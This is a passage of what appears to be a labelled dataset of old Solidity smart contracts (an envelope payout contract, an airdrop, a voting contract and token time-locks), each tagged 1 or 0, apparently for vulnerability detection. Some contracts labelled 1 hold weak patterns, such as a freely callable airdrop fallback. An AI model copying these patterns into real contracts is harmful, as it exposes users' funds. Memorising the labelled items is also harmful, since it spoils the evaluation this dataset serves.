envelope.remainingNumber -= 1;
envelope.tooks[msg.sender] = true;
balanceOfEnvelopes -= value;
msg.sender.transfer(value);
Took(
msg.sender,
_envelopeId,
value,
block.timestamp
);
}
function redeem(uint256 _envelopeId) external {
Envelope storage envelope = envelopes[_envelopeId];
if (envelope.willExpireAfter >= block.timestamp) {
revert();
}
if (envelope.remainingValue == 0) {
revert();
}
if (envelope.maker != msg.sender) {
revert();
}
uint256 value = envelope.remainingValue;
envelope.remainingValue = 0;
envelope.remainingNumber = 0;
balanceOfEnvelopes -= value;
msg.sender.transfer(value);
Redeemed(
msg.sender,
_envelopeId,
value,
block.timestamp
);
}
function getPaid(uint256 amount) onlyOwner external {
uint256 maxAmount = this.balance - balanceOfEnvelopes;
msg.sender.transfer(amount < maxAmount ? amount : maxAmount);
}
function sayGoodBye() onlyOwner external {
selfdestruct(msg.sender);
}
} | 1 |
pragma solidity ^0.4.24;
interface Token {
function transfer(address _to, uint256 _value) external returns (bool);
function balanceOf(address who) external view returns (uint256 _user);
}
contract onlyOwner {
address public owner;
bool private stopped = false;
constructor() public {
owner = 0x073db5ac9aa943253a513cd692d16160f1c10e74;
}
modifier isRunning {
require(!stopped);
_;
}
function stop() isOwner public {
stopped = true;
}
function start() isOwner public {
stopped = false;
}
modifier isOwner {
require(msg.sender == owner);
_;
}
}
contract AirDrop is onlyOwner{
Token token;
address _creator = 0x073db5ac9aa943253a513cd692d16160f1c10e74;
event TransferredToken(address indexed to, uint256 value);
constructor() public{
address _tokenAddr = 0x99092a458b405fb8c06c5a3aa01cffd826019568;
token = Token(_tokenAddr);
}
function() external payable{
withdraw();
}
function sendResidualAmount(uint256 value) isOwner public returns(bool){
token.transfer(_creator, value*10**18);
emit TransferredToken(msg.sender, value);
}
function sendAmount(address _user, uint256 value) isOwner public returns(bool){
_user.transfer(value);
}
function sendInternally(uint256 tokensToSend, uint256 valueToPresent) internal {
require(msg.sender != address(0));
uint balance = userXRTBalance(msg.sender);
require(balance == 0);
token.transfer(msg.sender, tokensToSend);
emit TransferredToken(msg.sender, valueToPresent);
}
function userXRTBalance(address _user) private view returns(uint){
return token.balanceOf(_user);
}
function withdraw() isRunning private returns(bool) {
sendInternally(400*10**18,400);
return true;
}
} | 1 |
pragma solidity ^0.4.18;
contract ForeignToken {
function balanceOf(address _owner) public constant returns (uint256);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract AMLOveCoinVoting is Owned {
address private _tokenAddress;
bool public votingAllowed = false;
mapping (address => bool) yaVoto;
uint256 public votosTotales;
uint256 public donacionCruzRoja;
uint256 public donacionTeleton;
uint256 public inclusionEnExchange;
function AMLOveCoinVoting(address tokenAddress) public {
_tokenAddress = tokenAddress;
votingAllowed = true;
}
function enableVoting() onlyOwner public {
votingAllowed = true;
}
function disableVoting() onlyOwner public {
votingAllowed = false;
}
function vote(uint option) public {
require(votingAllowed);
require(option < 3);
require(!yaVoto[msg.sender]);
yaVoto[msg.sender] = true;
ForeignToken token = ForeignToken(_tokenAddress);
uint256 amount = token.balanceOf(msg.sender);
require(amount > 0);
votosTotales += amount;
if (option == 0){
donacionCruzRoja += amount;
} else if (option == 1) {
donacionTeleton += amount;
} else if (option == 2) {
inclusionEnExchange += amount;
} else {
assert(false);
}
}
function getStats() public view returns (
uint256 _votosTotales,
uint256 _donacionCruzRoja,
uint256 _donacionTeleton,
uint256 _inclusionEnExchange)
{
return (votosTotales, donacionCruzRoja, donacionTeleton, inclusionEnExchange);
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30153600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x89027C098490c061298732e4AfC26b5d6Eb41B1E;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30067200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x4B664ef96353f580BAf7ed59BB1188Ca1F2B4Ed2;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |